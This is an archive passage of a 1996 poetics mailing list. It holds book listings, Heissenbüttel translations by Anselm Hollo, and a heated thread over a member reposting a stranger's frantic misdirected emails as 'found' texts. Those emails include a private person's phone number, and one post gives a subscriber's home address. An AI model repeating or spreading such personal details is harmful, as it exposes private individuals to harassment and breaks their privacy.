1. _Idoru_ by William Gibson, Putnam, $24.95. "They say the world will end when the combined weight of all the human nervous tissue on the planet reaches a specific figure."

2. _What is Situationism?: A Reader_ ed. Stewart Home, AK Press, $14.95. Contributors include Sadie Plant and Bob Black.

3. _Late July_ by Gretchen Johnsen, Edge, $3 (chapbook).
"your hieroglyph, my life."

4. _Emancipation(s)_ by Ernesto Laclau, Verso, $18.
"Why do Empty Signifiers Matter to Politics?" Laclau makes great use of Derrida in this book.

5. _The Muses_ by Jean-Luc Nancy, Stanford, $12.95. Given Hegel's "art is the sensible presentation of the Idea" Nancy asks "Why are there several arts and not just one?" He takes it back of course. Complex, interesting book.

6. _The Granite Pail: Selected Poems_ by Lorine Niedecker, ed. Cid Corman. Back in print in larger format. hoo rah!

7. _Out of Everywhere: linguistically innovative poetry by women in North America and the U.K., ed. with introduction by Maggie O'Sullivan, Reality

Street, $15. Contributors: Susan Howe, Joan Retallack, Tina Darragh, Paula Claire, Diane Ward, Carla Harryman, Lyn Hejinian, Melanie Neilson, Denise Riley, Rae Armantrout, Catriona Strang, Nicole Brossard, Wendy Mulford, Rosmarie Waldrop, Deanna Ferguson, Hannah Weiner, Carlyle Reedy, Geraldine Monk, Karen Mac Cormack, Kathleen Fraser, Lisa Robertson, Marjorie Welish, Barbara Guest, Grace Lake, Caroline Bergvall, Fiona Templeton, Fanny Howe, Bernadette Mayer, & Leslie Scalapino. "After. Word" by Wendy Mulford.

8. _Wittgenstein's Ladder: Poetic Language and the Strangeness of the Ordinary_ by Marjorie Perloff, U. Chicago, $27.95 hardcover. "Philosophy ought really to be written only as a form of poetry," wrote Wittgenstein -- in this book Perloff reads Wittgenstein relative to the work of Stein, Cage, Beckett, Kosuth, Bernhard, Bachmann, Hejinian, & others. It's strange, it's ordinary, it's useful.

9. _Dogs_ by Phyllis Rosenzweig, Edge, $4 (chapbook). No line or set of lines even obliquely characterizes this book. It is the detailed duration's continuance within interruption that makes this work for me.

10. _Sonnets of a Penny-a-Liner_ by Mark Wallace, prints by Lawley Paisley-Jones, Buck Downs Books, $9. "one runs out of details / to describe the subtle lacks" -- "will you give me a penny a line / for dreams that won't fit the news."

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

↑ Index

531. Pam Brown

Re: new Perloff, Wallace, Out of Everywhere etc @ Bridge Street

Wed 25 Sep 1996

Dear Bridge Street Books -
Thanks for your prompt response - Could I order "Out of Everywhere" and "The Granite Pail" and "Late July" please....
My address for postal mail is

Pam Brown,
3 West End Lane,
ULTIMO.
NSW 2007
AUSTRALIA

And could you invoice me please.
Thanks
Pam Brown
>

↑ Index

532. **Rod Smith**
Re: new Perloff, Wallace, Out of Everywhere etc @ Bridge Street
Thu 26 Sep 1996

---

oops, left off previous post: the Niedecker's publisher is Gnomon, the price is $14.50.

↑ Index

533. **Anselm Hollo**
Helmut, Here We Go Again
Thu 26 Sep 1996

Date: Tues, Sept 24, 1996
From: [redacted]
Subj: Helmut Heissenbuttel 1921-1996
To: [redacted]

[Apologetic Addendum, Wed 25 Sept 96: old ignorant fart that I am in this Cyberworld, & SO proud to have figured out, only recently, how to "attach files" to e-mail, I was completely unprepared for the disastrous result. Apologies to one & all. And, now I know how those mysterious cyber-zaum-texts come about which I have occasionally encountered even on this listserv. --AH]

Sad to hear of the end of HH's marvelous run, but very pleased to see Charles's and Pierre's posts on same. I was privileged to meet him once in his offices at the Suddeutscher Rundfunk (South German Broadcasting Corporation) in Stuttgart in the early Sixties, on a visit from London where I was working for the BBC and moonlighting as "Anton Hofman" writing radio features in German on, a.o., William Carlos Williams, Allen Ginsberg, Robert Creeley, Charles Olson, Gregory Corso for Heissenbuttel's literary radio program. One-armed like Blaise Cendrars (the left "left," as they say, on some dismal battlefield in 1942), tall, calm funny, and erudite, HH had (as he put it) "a lasting soft spot for the black banner of anarchy. My innermost conviction is anarcho-syndicalist. Never mind that I know it [=anarcho-syndicalism] can never be realized, but that is where my secret love lies." Rosmarie Waldrop's and Pierre Joris's translations are wonderful: HH is far from 'easy,' somewhere between Clark Coolidge and Finnegan's Wake on the translation meter. His "occasional poems, days of the dead [=elegies], landscapes 1965--1980," however, contain

most of his overtly satirical and Catullan pieces, and I'd like to offer, here, my translations of the following two in his memory. He was a hero of mine.

OEDIPUS COMPLEX MADE IN GERMANY

Daddy has been ruling for about a thousand years
the Oedipus complex of the German people is called
    NSDAP after that we tried it with Grandpa but that
    was not a permanent solution now we just don't know
    who can advise us quiz masters wanted
who landed us in this stew Bild magazine wants to know
Grandpa has been preserved in a glass coffin Daddy's
    representatives have their names erased as time goes by
    but have we forgotten Daddy
we're still doing better than in the Third Reich that is not a
    a permanent solution
do they have Daddies in Washington or Moscow too our ersatz
    Oedipus complex is called Pankow Grandpa o mein Papa or

    in Rome
Daddy's reign is extinct but bits of it still hang in the air it
    is the air of Berlin still that smell whose name was Josef
what we demand is an end to Daddies and Granddads an end to
    Oedipus complexes
enlightened as we now are
enlightened as we now are
enlightened as we now are
enlightened as we now are
grant power to the most rational
why don't you just try that for a change

x

ESSAY IN GREEK

if I knew Greek I would converse with you in Greek
but I don't know any Greek
Amery's sentence on the drive from Brussels to Waterloo
    9-24-1975 rainy street Atlantic low pressure ran a red
    light threatening Belgian cops
du machst mich an spoken in Cologne dialect
you turn me on said Amery has purely sexual connotations
telephone voice surprises I'm always on time
rubbed in between thumb and palm

glance across trees in a dream leaning against the hood nipples
erect and hard a long time
look at me look at me look at me
I have no Greek and difficulties with classical education all
those Patmoses Lesboses Apollos Dionysuses
the Greeks' antique nakedness is replete with ideational
content
nakedness without content our nakedness simply just naked
to learn that nakedness instead of content
say Greek woman wouldn't you be safer in your Greece
but when pressure mounts there is increased danger of
everything bursting
even though pressure can lead to nice things though maybe a
little weird
who loses steam gnaws bones
losing steam losing sense makes for a wrinkled pouch and a
tiny prick
wrinkly present wrinkly nature
cutapplebrown
the brown of cut apples
in Greek I would converse with you in Greek but I don't have
any Greek and you can't understand me
sexual union means insight into the matter at hand not into
psychology
your rage your grunting does open you but not your psychology
even when I can't stand it I hurl myself into gaping flesh
into flesh which is definitively and in the most extreme sense
facing me and I am not
naked torsos half asleep incessantly interchangeable repeatable
quartered backsides repeatable
the bird quite clearly flown to Idaho railroad embankment Thoreau
crumpled and gummed-up moon
we have lived under this moon
crumpled and gummed-up moon
we have lived under this moon for a long time
crumpled and gummed-up moon
it may well be we have lived under this moon for too long
my language is a noise

Translated by Anselm

Hollo

From: Odipuskomplex Made in Germany, 1981
These translations (C) 1996 Anselm Hollo

↑ Index

534. **Hugh Nicoll**
Anselm Hollo's Attachment
Thu 26 Sep 1996

I am taking the liberty of re-posting Anselm Hollo's HH transations because they are so moving no one should have to wait too long to enjoy them. I have manually removed line breaks that caused formating problems in the initial MWII conversion to ascii.

Hugh

Date: Tues, Sept 24, 1996
From: [redacted]
Subj: Helmut Heissenbüttel 1921-1996
To: [redacted]

Sad to hear of the end of HH's marvelous run, but very pleased to see Charles's and Pierre's posts on same. I was privileged to meet him once in his offices at the Süddeutscher Rundfunk (South German Broadcasting Corporation) in Stuttgart in the early Sixties, on a visit from London where I was working for the BBC and moonlighting as "Anton Hofman" writing radio features in German on, a.o., William Carlos Williams, Allen Ginsberg, Robert Creeley, Charles Olson, Gregory Corso for Heissenbüttel's literary radio program. One-armed like Blaise Cendrars (the left "left," as they say, on some dismal battlefield of in 1942), tall, calm funny, and erudite, HH had (as he put it) "a lasting soft spot for the black banner of anarchy. My innermost conviction is anarcho-syndicalist. Never mind that I know it [=anarcho-syndicalism] can never be realized, but that is where my secret love lies." Rosmarie Waldrop's and Pierre Joris's translations are wonderful: HH is far from 'easy,' somewhere between Clark Coolidge and Finnegan's Wake on the translation meter. His "occasional poems, days of the dead [=elegies], landscapes 1965--1980," however, contain most of his overtly satirical and Catullan pieces, and I'd like to offer, here, my translations of the following two in his memory. He was a hero of mine.

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who landed us in this stew Bild magazine wants to know
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a permanent solution
do they have Daddies in Washington or Moscow too our ersatz
Oedipus complex is called Pankow Grandpa o mein Papa or in
Rome
Daddy's reign is extinct but bits of it still hang in the air it
is the air of Berlin still that smell whose name was Josef
what we demand is an end to Daddies and Granddads an end to
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why don't you just try that for a change

ESSAY IN GREEK

if I knew Greek I would converse with you in Greek
but I don't know any Greek
Améry's sentence on the drive from Brussels to Waterloo 9-24-1975
rainy street Atlantic low pressure ran a red light
threatening Belgian cops
du machst mich an spoken in Cologne dialect
you turn me on said Améry has purely sexual connotations
telephone voice surprises I'm always on time
rubbed in between thumb and palm
glance across trees in a dream leaning against the hood nipples erect and
hard a long time
look at me look at me look at me
I have no Greek and difficulties with classical education all
those Patmoses Lesboses Apollos Dionysuses
the Greeks' antique nakedness is replete with ideational content
nakedness without content our nakedness simply just naked
to learn that nakedness instead of content
say Greek woman wouldn't you be safer in your Greece

but when pressure mounts there is increased danger of everything bursting
even though pressure can lead to nice things maybe a little psycho
who loses steam gnaws bones
losing steam losing sense makes for a wrinkled pouch and a tiny pin

wrinkly present wrinkly nature
cutapplebrown
the brown of cut apples
in Greek I would converse with you in Greek but I don't have any
Greek and you can't understand me
sexual union means insight into the matter at hand not into psychology

your rage your grunting does open you but not your psychology
even when I can't stand it I hurl myself into gaping flesh
into flesh which is definitively and in the most extreme sense
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naked torsos half asleep incessantly interchangeable repeatable
quartered backsides repeatable
the bird quite clearly flown to Idaho railroad embankment Thoreau
crumpled and gummed-up moon
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crumpled and gummed-up moon
we have lived under this moon for a long time
crumpled and gummed-up moon
it may well be we have lived under this moon for too long a time
my language is a noise

Translated by Anselm Hollo

From: Ödipuskomplex Made in Germany, 1981
These translations (C) 1996 Anselm Hollo

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535. **Robert Drake**
[[redacted]: Fwd: BOOK PARTY]
Thu 26 Sep 1996

========== Begin forwarded message ==========

From: [redacted] (Womens Studio Workshop Inc)
To: [redacted] (Multiple recipients of list BOOK_ARTS-L)
Subject: Fwd: BOOK PARTY
Date: Thu, 26 Sep

-- [From: Womens Studio Workshop Inc * EMC.Ver #2.5.02] --

book signing party at printed matter, 77 wooster st, nyc thursday nov. 7 from 6-8pm for new books published by women's studio workhsop. artists will be on hand. new books from eva mantell, susan mills, molly barker, rita mac-donald, indigo som, melissa smedley & stacy doris. hope to see you there. for more infor on these and other artists' books and wsw grants and residencies contact wsw at: [redacted]

------- FORWARD, End of original message -------

↑ Index

536. **maria damon**
Re: the bleeding edge
Thu 26 Sep 1996

---

hey filch, maybe i've got a problem this a.m. but i find this forwarding of msgs from someone in distress rather disturbing, voyeuristic, rather than amusing. --md

In message <v02130504ae706dd570cb@[198.147.97.167]> UB Poetics discussion group
writes:
> found[09.26.96]_____
>
> muneer habibi please page me man i am in great shit i do not think you
> realize the degree of shit i am in??????!!!!!!!!!!! please page me.
> [redacted] or at [redacted]. thanx
>
> _____

↑ Index

537. **maria damon**
Re: the bleeding edge
Thu 26 Sep 1996

---

ps. from maria , esp when a phone # is being publicly distributed. --md

In message <v02130504ae706dd570cb@[198.147.97.167]> UB Poetics discussion group
writes:
> found[09.26.96]_____
>
> muneer habibi please page me man i am in great shit i do not think you
> realize the degree of shit i am in??????!!!!!!!!!!! please page me.

> [redacted] or at [redacted]. thanx
>
> _____

↑ Index

538. Eliza McGrand- CVA Guest

Re: the bleeding edge

Thu 26 Sep 1996

---

ditto maria. i am not sure what the point of it is. i know if i were yasmine, i would find this extremely humiliating.
e

↑ Index

539. dismissive with angels

the bleeding edge

Thu 26 Sep 1996

---

found[09.26.96]_____

muneer it is me again it is my first time using this goddammed e-mail shit and i do not know if you received my previous message. muneer it is yasmine from lab and i need you to page me right away regarding it . i am in trouble please muneer page me at 310-2367264 now. if you get this message ANY time later page me before tomorrow. thank you .....yasmine

_____

↑ Index

540. dismissive with angels

the bleeding edge

Thu 26 Sep 1996

---

found[09.26.96]_____

Muneer, hi it is yasmine from bio lab. listen it is an emergency please page me at 310-2367264 right away. please, please,please, muneer do so now!!!!!!!! muneer i would really appreciate it. i am in need of great help!!!!!!!!!! if you get this later do not hesitate to page me it is to do w/ the lab tomorrow i am in shit!!!!!!

thank u,
yasmine

_____

↑ Index

541. **dismissive with angels**
the bleeding edge
Thu 26 Sep 1996

found[09.26.96]_____

muneer habibi please page me man i am in great shit i do not think you realize the degree of shit i am in??????!!!!!!!!!!! please page me. [redacted] or at [redacted]. thanx

_____

↑ Index

542. **dismissive with angels**
the bleeding edge
Thu 26 Sep 1996

found[09.26.96]_____

muner i sent you a message around 10 minutes ago and you have not paged me back yet.....please muneer i am not messing around i seriously need your help..... page me at anytime. i guess you are out. page me at [redacted] or at [redacted] and i shall call you right away. thank you soooooooooooo much!!!!!!!!!!!!

_____

↑ Index

543. **dismissive with angels**
the bleeding edge - the last drop
Thu 26 Sep 1996

found[09.26.96]_____

muneer please page me. now i know that you are definitely out!!! please do not forget to page me tonight please.

_____

↑ Index

544. Christina Fairbank Chirot
on the edge of mutiny
Thu 26 Sep 1996

Mutineer: No need for your help at the lab. I got this email figured out and we're gonna jam this filchy guy's address til he begs for mercy. No quarter given--take no prisoners. Yours in mutiny, Yasmine.

↑ Index

545. Ian Wilson
Re[2]: the bleeding edge
Thu 26 Sep 1996

Filch,

Fascinating and speaking to what large confluences and in what way?

Maybe other people's mailreaders reveal who sent the message but on Lotus cc:mail, I'm only notified that it comes from the Poetics list. So your five found messages arrive with no explanation, no context, and no idea who sent them.

I didn't find them fascinating, I found them an annoyance: they took up bandwidth on a list that's already frequently bombarded by stuff that rightfully ought be backchannelled (Look at the book orders that got made to the whole list this morning -- now if only they'd included their credit card number. . .).

In the absence of any explanation from you, seems to me that Maria and Eliza had to "read" the posts, naturalize them and find some context for themselves.

What was your point?

Ian Wilson
Loyola Marymount University, Los Angeles
[redacted]
http://users.aol.com/ibar88/private/story/index.htm

_____ Reply Separator _____
Subject: Re: the bleeding edge Author: UB Poetics discussion group <[redacted]> at Internet Date: 9/26/96 11:01 AM

Maria (and Eliza),

perhaps i am incorrect but didn't you inject "amusing" into this. i don't believe i used that word. i believe i found the entire bundle to particularly fascinating

and speaking to very large confluences i perceive in our culture. i was not however amused.

it would seem that my posting of this "artifact" pushes buttons. i wonder why? if indeed the names and places are accurate why do you perceive that as a threat? doesn't this speak to just exactly what is going on in this list and indeed this medium. i can never be sure that some "words" which drop from my mouth onto the monitor won't land on some strangers desk. this message to you could somehow be misrouted or hung somewhere and end up in a completely detextualized place. in what way will i be hung by my own words or cause others to be disturbed or amused. to what extent do i have control of my words?

given the medium in which "this" word races how accurate is it or how naive am i to believe my words will only be shared with the 400 or so others on the list.

this woman (((and her problem) if there is such a thing) as though in the context it mattered) is completely decontextualized. these texts are graffitti on the wall next to the urinal. what are we to make of this? what happens to these texts when they are decontextualized and why do we find this so threatening?

filch

↑ Index

546. Daniel Bouchard
Re: bleeding the edge
Thu 26 Sep 1996

Filch wrote:
>> this woman (((and her problem) if there is such a thing) as though in the context it mattered) is completely decontextualized. these texts are graffitti on the wall next to the urinal. what are we to make of this?
what happens to these texts when they are decontextualized and why do we find this so threatening?

_____

these texts are buttons on the urinal that I push
these texts and her problem if there is such a thing
these when they are these texts are decontextualized

this woman and her problem if there is such a thing
this woman as though in the context it mattered
what are we to make of this woman?

what happens to this woman when decontextualized?
what happens to these texts if there is such a thing?
this woman as though in the context it mattered

do we find this so threatening?
the wall next to the urinal
is completely decontextualized

this woman and her problem
and why do we find this so threatening?

↑ Index

547. **Jordan Davis**
chodosh englay 1.inst
Thu 26 Sep 1996

---

they're very good at partitioning space. the guards work six hour shifts for the big night, really it's 2.5 then half hour break then three. Not supposed to twang the thread, which divides the room where they have the readings. there's one room where the strings stretched from the ceiling to the floor make two perpendicular spaces you could pass between. these won't fall over and kill anybody, but they're closely watched. the spaces, it's like a bubble you blow with your lips. three guards mouth phrases to each other, make no eye contact with you. upstairs there's an easter egg show about 'abroad'. Munoz is all right, if you like depopulated wax mannequins and stairways to nowhere. some do. some do not. a movie set, think 'il conformista'. Think! meanwhile the eggplant t-shirts were a myth and instead of a show they've got a watch company's self-portraits, vodka and pomegranate. there is the cool which is okay, but it's a static cool, it unfolds, you can flatten it out and if not own it then possess it. don't go. go over to the batting cages and let me know if they're thinking better there. J

↑ Index

548. **Jordan Davis**
bndwdth
Thu 26 Sep 1996

---

xtrrdnrpplrdlsnsndthmdnssfcrwds

↑ Index

549. **maria damon**
Re: dismissive
Thu 26 Sep 1996

---

so, filch, if i read you right, you posted five found msgs to the poetics list, w/ no commentary or explanation except that they were found objects, to teach us all a lesson in reception aesthetics? md

↑ Index

550. dismissive with angels
Re: the bleeding edge
Thu 26 Sep 1996

Maria (and Eliza),

perhaps i am incorrect but didn't you inject "amusing" into this. i don't believe i used that word. i believe i found the entire bundle to particularly fascinating and speaking to very large confluences i perceive in our culture. i was not however amused.

it would seem that my posting of this "artifact" pushes buttons. i wonder why? if indeed the names and places are accurate why do you perceive that as a threat? doesn't this speak to just exactly what is going on in this list and indeed this medium. i can never be sure that some "words" which drop from my mouth onto the monitor won't land on some strangers desk. this message to you could somehow be misrouted or hung somewhere and end up in a completely detextualized place. in what way will i be hung by my own words or cause others to be disturbed or amused. to what extent do i have control of my words?

given the medium in which "this" word races how accurate is it or how naive am i to believe my words will only be shared with the 400 or so others on the list.

this woman (((and her problem) if there is such a thing) as though in the context it mattered) is completely decontextualized. these texts are graffitti on the wall next to the urinal. what are we to make of this? what happens to these texts when they are decontextualized and why do we find this so threatening?

filch

↑ Index

551. Christina Fairbank Chirot
"artifacts" (fwd)
Thu 26 Sep 1996

Mister Filch raised some interesting points in regards to some of the current legislation being considered concerning suych issues as immigration, terrorism, the control and access to messages sent via email and the internet. Notice the names of the people involved--which seemed to be Muslim or Arabic. Leading up to, during and after the Gulf War I had severl Arab-American, Arab, and African-American Muslim students cite a continuous stream of harrasement of one kind or another. These students pointed out the one safe group to target in the USA was themselves. After the Oklahoma City bombing and recent jet explosion near NYC it was immediately assumed that terrorists were involved--no need to say which "Kind" of terrorists. Mr. Filch says: "if indeed the names and and places are accurate why do you perceive that as a threat?"

well--what if mr. filch had to worry about having someone swoop down on him to make sure his papers were in order? Since the people with the Muslim sounding names appear to be doing something in a lab--let's call both Immigration and the FBI! Heck--why not bug"em now we got the phone number?

Mr Filch asks "to what extent do I have control of my own words?"

This is a disingenous question: he did not use his own words.

Mr. Filch asks: "What happens to these texts when they are decontextualized and why do we find this so threatening?"

They are not decontextualized but recontextualized--that is the problem. Mr. Filch writes of his "posting . . . this 'artifact;"--hardly a decontextualization. An artificat implies a context in which it is an artifact--i.e. that Mr. Filch has brought in a found object which he wishes to put on a display in a museum, or a shop where artifacts are on display. Since this museum seems to have an affinity with urinals--is Mr. Filch propsing that the "artifact" here be considering a neo-Duchampian urinal? Yet Duchamp's urinal did not include his name nor his phone number. Nowadays it carries a price tag. Considering some of the laws being proposed re immigration, terrorism, control and acces of the net--the price may be someone's freedom.

dbchirot

↑ Index

552. Jeffrey W. Timmons
bleeding edge
Thu 26 Sep 1996

---

daniel: another version

buttons
on the urinal
push these texts

her problem
if there is
such a thing
when they are
these texts
decontextualized

this woman
her problem
if there is

such a thing
this woman
in the context
it mattered

what are we
to make of this woman?

what happens
to this woman
when decontextualized?

what happens
to these texts
if there is
such a thing?

this woman as though
in the context
it mattered

do we find this
so threatening?

the wall
the urinal
is decontextualized

this woman
her problem
do we find this
so threatening?

↑ Index

553. **Jeffrey W. Timmons**
Re: "artifacts" (fwd)
Thu 26 Sep 1996

"appropriating" texts is problematic: there is an ethics to be observed; even when attempting to make a point about "ownership" on the net/web.

jeffrey timmons

↑ Index

554. Jeffrey W. Timmons
(no subject)
Thu 26 Sep 1996

a quiry and a self-promotion:

im doing work on revolution and was curious if anyone might be able to recommend any scholarship on the epistemological (de)structures of revolution. im interested in post-marxist work especially; while a great deal has been written about revolution in such work im interested in anything that examines how revolution becomes a complement to changes in representation/epistemology/ontology.

i also have an essay forthcoming in november from the Journal of Imagism; its a new journal edited by George Castellito at Felician College in (of course) new jersey.

jeffrey timmons

↑ Index

555. Eliza McGrand- CVA Guest
Re: the bleeding edge
Thu 26 Sep 1996

filch as a woman who has been assaulted i find your "appropriation" of texts -- desparate cries for help from a woman -- misguided, trivialized, and in extremely poor taste. i find the trivialization of a woman in extremity both mind-bogglingly insensitive and a grotesque form of crying wolf. further, as maria pointed out, telephone numbers broadcast in this way subject the owner of the telephone number to risk of extreme harrassment.

again, speaking as a battered woman, if ever my requests for help HAD been put in some public medium -- a mailing list of complete, uninvolved strangers for instance -- i would be humiliated, hurt, and very distressed.

in other words filch, please try to imagine you are something and someone other than yourself. what you are doing is disrespectful to people who have to read these random notes, and even worse, to the woman about whom they were written (whose pager number is, presumably, included). i think there are other people on this list who have had experience with a loved woman in their life being hurt and i suspect they find this as appalling and painful as i do. e

↑ Index

556. **Tony Green**
Re: Helmut, Here We Go Again
Thu 26 Sep 1996

Dear Anselm, the resulting texts were strange but in their way delightful. Do another shor5t one jus for7 the 6he9ll o4f it, p99l65e7ase. best

Tony Green,
e-mail: [redacted]

↑ Index

557. **Gabrielle Welford**
Re: the bleeding edge
Thu 26 Sep 1996

I don't know why but I just assumed that filch had made these up, including the phone #s. They sound like made up stuff, even to me who teach freshmen. If they aren't in fact made up, there is a huge difference, and I agree with what Eliza says about humiliation. Words do have a life of their own and found objects are treasures, but there's nothing without a context. This context, if they're real, is not banishable. gab.

↑ Index

558. **cris cheek**
Re: My long silence
Thu 26 Sep 1996

Hi Peter,

simply big good wishes to you on your recovery.
Valuing your presence and tremendously generous energies.

love and love
cris

↑ Index

559. **Jeffrey W. Timmons**
HELP
Thu 26 Sep 1996

---

sorry to bother any/everyone:

could the listmanagerperson contact me. i cant seem to find the address to write for HELP--and i need some. im still getting two messages for everyone sent. and as much as i love to read. . . .

jeffrey timmons

↑ Index

560. Rick Bursky
rumours & question
Thu 26 Sep 1996

I'm very new to this group. Does anyone know of any other poetry bb's like this that discuss, read and comment on poems? Any info would be appreciated. Oh, I've encluded one of my poems.

Rick

The Rumours

They're talking about opening the laundromat again.
And why not? There's no shortage of water
and the women could use the time they'd save
to walk the children home from school.
They must know the messages
on the bulletin board would be different now:
an old radio or pair of wire-rim eyeglasses for sale,
a room to rent because a son is gone.

Of course, we heard rumours like this before. Someone once said, the restaurant next to the old fire station was going to reopen on a Tuesday. We waited there for hours until rain drove us away. Those streets have become more calm without us, no one runs-off the stray dogs when they growl in the doorways or urinate on the walls.

↑ Index

561. Jeffrey W. Timmons
the bleeding edge
Thu 26 Sep 1996

hey jay
i dont know
who you were
referring to
but since
when is "a swamp
of pubescent flames
and fart jokes"
not "a highly
sophisticated

understanding/practice
of language
use/reception/production?"

jeffrey timmons

↑ Index

562. **DS**
Re: the bleeding edge
Thu 26 Sep 1996

> *when is "a swamp*
> *of pubescent flames*
> *and fart jokes"*

this whole strand is becomming highly flammable

dan

↑ Index

563. **Jay Schwartz**
Re: the bleeding edge
Thu 26 Sep 1996

Most subscribers to this list have a highly sophisticated understanding/practice of language use/reception/production etc... So I find it especially annoying to receive these lame and degrading attempts at exploring appropriation from Filch. Condescending, both to "Yasmine", and to the subscribers of the Poetics List.

If anyone wants to revel in a swamp of pubescent flames and fart jokes, check out the URL www.batmanforever.com. The posts there are more interesting experiments in appropriation and decontextualiztion (and strange abject word-play) than the "Yasmine" texts Filch posted.

Jay Schwartz

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564. **VPI R TremblayMcGaw**
Robert Gluck's Upcoming Readings
Thu 26 Sep 1996

Dear All--

Thought you might be interested in Robert Gluck's upcoming readings:

NEW YORK
with Lynne Tillman
Monday, Sept 30th at 8 pm
Hudson Grill, 350 Hudson (1 bk south of Houston)

MONTREAL
Tuesday October 8th at 4 pm
Lionel-Groulx Bldg
University of Montreal
for info, call Robert Martin
[redacted]

DETROIT
with Gail Scott
Friday, October 11 at 3 pm
English Dept, 51 West Warren, Rm 3234
Wayne State Univ

SAN FRANCISCO
with Sarah Van Arsdale
Thursday, Oct 24 7:30 pm
First Unitarian Church
1187 Franklin St

Connect Mail Sent: September 26, 1996 8:44 pm PDT Item: R00YoW4

↑ Index

565. **Gabrielle Welford**
Immigration Alert: URGENT (fwd)
Fri 27 Sep 1996

Blech. gab.
---------- Forwarded message ----------
From: Laura McClintock <[redacted]>

USSA
Immigration Update
September 25,1996

Urgent Action Needed !!!

The immigration bill has come out of conference and is now on a fast path to the White House. The Gallegly (R-CA) amendment, which would have denied public education to undocumented children, was dropped from the bill. However, at the last minute, a new provision was added to the bill which penalizes persons who are HIV+.

The last-minute amendment would prevent all non-citizens, whether legal or undocumented, from receiving medical treatment for HIV/AIDS. Furthermore, the bill denies HIV testing to undocumented immigrants. If Congress is truly committed to preventing the spread of this fatal disease, these provisions make absolutely no sense. Undocumented students will not be able to access university health care services for testing and legal immigrant students, even those with full blown AIDS, will not be able to receive care. Citizens, legal immigrants, and undocumented immigrants are all put at risk by this discriminatory amendment.

Further provisions in the bill include: --"Back door" cuts in legal immigration. Millions of Americans will be denied the ability to reunite with spouses and children because they don't earn 140% of the poverty level. For example, a citizen student who married a non-citizen would have to prove that she earned 140% of the poverty level while in school in order to bring her husband to the U.S. Even if her parents co-sponsored her application, she herself would have to earn 125% of the poverty level.

--Deportation of persons who receive welfare or disability benefits for over 12 months.

--Application of sponsor deeming to dozens of programs not covered in the welfare bill.

--An elimination of protection against discrtimination by requiring that any person, citizen or non-citizen, who files a civil rights claim in connection with the proposed national verification system prove "intent," a nearly impossible standard.

Today, this horrible bill passed by a wide margin in the House.

Students need to call their Senators ASAP to urge them to speak against the bill and to register a no-vote when it comes to the floor.

To contact your Senators call the FREE Alliance to Save Student Aid Hotline at 1-800-574-4AID

Students must also call the White House and insist that the President
veto the immigration bill.
To contact the President call
[redacted]

Erica Adelsheimer Phone: 202.347.USSA Legislative Director
Fax: [redacted] U.S. Student Association E-mail: [redacted] 1612 K Street NW Ste. 510 http://www.essential.org/ussa Washington, DC 20006

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566. the brown bag process

the bleeding edge (dismissed by angels)

Fri 27 Sep 1996

i certainly opened myself up for attack.

on any and every listserv the master of the listserv has the option to make the reply-to on every message either to the "list" proper or to the "sender". the poetry listserv has the reply-to set to the "list" proper. when the reply-to is set at the "list" itself the conversation which results tend to be spontaneous and engaging, there are more flames, they tend to more quickly thread themselves off into unrelated topics and they tend to produce an awful lot of mail in comparison to the listserv which has its reply-to set to the "sender". when the reply-to is set to "sender" the messages tend to be a great deal less frequent (because it takes more work for everyone involved), the messages tend to be more thought out and precise, threads don't wander quite as fast, & there tends to be less flame.

one way of looking at it, which i've been doing alot of lately, is that the former setup promotes a sense of community while the latter promotes a sense of individuality. the former is chaotic while the latter is orderly. these are of course conclusions rendered impotent by anecdote but structurally these differences are worth studying.

for instance on a listserv set reply-to "listserv", such as this one, we get many posts to the list proper which were intended as back channels yet, because of the architecture and human factor criteria, end up in everyone's client.

Maria Damon writes:

"so, filch, if i read you right, you posted five found msgs to the poetics list, w/ no commentary or explanation except that they were found objects, to teach us all a lesson in reception aesthetics?" md

i have no interest or ability to teach anyone lessons. i am meditating on the bleeding edge texts. this is my koan. if you respond or react then you become part of the meditation.

it is fascinating that for the purposes of the text "Yasmine" who is obviously desperate to find "Habbib" is employing both email and pager to achieve contact. i think it safe to say that there is an unmentioned answering machine in Habbibs residence filled with the wailing of "Yasmine". yasmine is, to me, brimming over with fear and loneliness. somehow this closeness and immediacy brought about by yasmine's and habbib's technology feels farther away than Irkutsk feels to me here in LA.

on a day to day to day basis i receive pages from people who didn't page me. i receive emails such as the bleeding edge texts which people didn't send me.

Eliza McGrand says:

"as a woman who has been assaulted i find your "appropriation" of texts -- desparate cries for help from a woman -- misguided, trivialized, and in extremely poor taste...again, speaking as a battered woman, if ever my requests for help HAD been put in some public medium -- a mailing list of complete, uninvolved strangers for instance -- i would be humiliated, hurt, and very distressed."

The text in question says
"muneer it is yasmine from lab and i need you to page me right away regarding it."

Considering the pronoun here appears to be referring to the lab and the deadline of "tomorrow morning" has been imposed by yasmine i would propose that the trouble in which the yound lady finds herself has to do with school work of some kind related to the lab.

Given the complete text it seems that any "abuse" in this text has been placed there by the reader. which is one of the reasons why this text decontextualized so finds such fascination with me.

dbchirot

> 'Mr Filch asks "to what extent do I have control of my own words?"
> This is a disingenous question: he did not use his own words.'

given the context of the listserv and this medium in which appropriation has and or can be brought to new levels is it really so disingenous? are any of these my words? i believe i got them from my parents. maybe i am wrong.

dbchirot says:"Mr. Filch writes of his "posting . . . this 'artifact;"--hardly a decontextualization. An artificat implies a context in which it is an artifact--i.e. that Mr. Filch has brought in a found object which he wishes to put on a display in a museum, or a shop where artifacts are on display."

Posh. just because something has been recontextualized does not mean it has not or could not also be decontextualized. the bleeding edge texts have been recontextualized on a "poetics listserv" and they have in that process been decontextualized from the context in which they were born.

filch

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567. the brown bag process

Re: the bleeding edge

Fri 27 Sep 1996

---

thanks for the kind words. i am not interested in appropriation. we are all thieves and none of us are honest about it. (myself included) but we all try desperately to maintain our context. why is that so important? for what i am interested in batmanforever is of no interest whatsoever. there is a design behind ever word you read there and its purpose is to be on that sight. the folks who designed the sight by keeping it up to this date to be the recipient of such "graffitti" are interested in much different things than me. your finding of the texts in question to be lame and degrading makes me think the bleeding edge texts are even more fascinating than i originally perceived. once again i ask why are you so threatened? thanks again for your help! filch
>
>Most subscribers to this list have a highly sophisticated
>understanding/practice of language use/reception/production etc... So
>I find it especially annoying to receive these lame and degrading
>attempts at exploring appropriation from Filch. Condescending, both to
